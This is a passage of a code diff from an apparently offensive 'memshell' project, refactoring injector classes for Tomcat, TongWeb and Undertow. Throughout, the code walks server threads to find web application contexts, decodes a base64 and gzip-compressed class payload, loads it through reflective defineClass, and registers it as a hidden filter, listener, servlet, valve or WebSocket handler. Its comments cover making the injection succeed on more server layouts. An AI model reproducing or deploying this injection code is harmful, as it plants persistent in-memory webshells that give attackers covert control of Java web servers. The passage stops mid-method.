invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
Constructor<?>[] constructors;
try {
@@ -162,12 +131,12 @@ public class TomcatFilterInjector {
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
System.out.println("filter inject success");
constructors[0].setAccessible(true);
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success");
} catch (Exception e) {
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象，可能在目标应用会加载不到
if (!(e.getCause() instanceof ClassNotFoundException)) {
@@ -193,7 +162,6 @@ public class TomcatFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -201,16 +169,13 @@ public class TomcatFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatListenerInjector.java
+15 -41
View File
@@ -45,42 +45,22 @@ public class TomcatListenerInjector {
return "{{base64Str}}";
}
@SuppressWarnings("all")
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
} else if (thread.getContextClassLoader() != null
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
@@ -88,21 +68,19 @@ public class TomcatListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -157,7 +135,6 @@ public class TomcatListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -165,16 +142,13 @@ public class TomcatListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java
+15 -41
View File
@@ -43,42 +43,22 @@ public class TomcatServletInjector {
return "{{urlPattern}}";
}
@SuppressWarnings("all")
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
} else if (thread.getContextClassLoader() != null
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
@@ -86,21 +66,19 @@ public class TomcatServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -203,7 +181,6 @@ public class TomcatServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -211,16 +188,13 @@ public class TomcatServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatValveInjector.java
+18 -47
View File
@@ -47,42 +47,22 @@ public class TomcatValveInjector {
return "{{base64Str}}";
}
@SuppressWarnings("all")
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
} else if (thread.getContextClassLoader() != null
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
@@ -90,18 +70,16 @@ public class TomcatValveInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -111,12 +89,9 @@ public class TomcatValveInjector {
System.out.println("valve already injected");
return;
}
try {
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
}
@SuppressWarnings("all")
@@ -149,7 +124,6 @@ public class TomcatValveInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -157,16 +131,13 @@ public class TomcatValveInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatWebSocketInjector.java
+14 -39
View File
@@ -49,39 +49,20 @@ public class TomcatWebSocketInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
} else if (thread.getContextClassLoader() != null
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
@@ -89,21 +70,19 @@ public class TomcatWebSocketInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@@ -146,7 +125,6 @@ public class TomcatWebSocketInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -154,16 +132,13 @@ public class TomcatWebSocketInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java
+12 -24
View File
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -49,18 +46,15 @@ public class TongWebFilterInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -70,18 +64,16 @@ public class TongWebFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -136,7 +128,6 @@ public class TongWebFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -144,16 +135,13 @@ public class TongWebFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebListenerInjector.java
+19 -40
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -42,18 +39,15 @@ public class TongWebListenerInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -63,27 +57,30 @@ public class TongWebListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
public void inject(Object context, Object listener) throws Exception {
if (isInjected(context)) {
return;
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
List listeners = Arrays.asList(objects);
for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) {
System.out.println("listener already injected");
return;
}
}
Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects");
if (applicationEventListenersObjects != null) {
@@ -101,20 +98,6 @@ public class TongWebListenerInjector {
}
}
@SuppressWarnings("all")
public boolean isInjected(Object context) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (Object o : arrayList) {
if (o.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
@@ -132,7 +115,6 @@ public class TongWebListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -140,16 +122,13 @@ public class TongWebListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebValveInjector.java
+24 -37
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -42,18 +39,15 @@ public class TongWebValveInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Object context = null;
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -63,41 +57,38 @@ public class TongWebValveInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null);
System.out.println(pipeline.getClass().getName());
if (isInjected(pipeline)) {
System.out.println("valve already injected");
return;
}
Class valveClass = null;
try {
Class valveClass = null;
try {
// tongweb7
valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.catalina.Valve");
} catch (ClassNotFoundException e) {
// tongweb6
valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.web.thor.Valve");
}
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
// tongweb7
valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.catalina.Valve");
} catch (ClassNotFoundException e) {
// tongweb6
valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.web.thor.Valve");
}
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
}
@SuppressWarnings("all")
@@ -130,7 +121,6 @@ public class TongWebValveInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -138,16 +128,13 @@ public class TongWebValveInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowFilterInjector.java
+4 -10
View File
@@ -65,21 +65,19 @@ public class UndertowFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object filter) throws Exception {
@@ -130,7 +128,6 @@ public class UndertowFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -138,16 +135,13 @@ public class UndertowFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
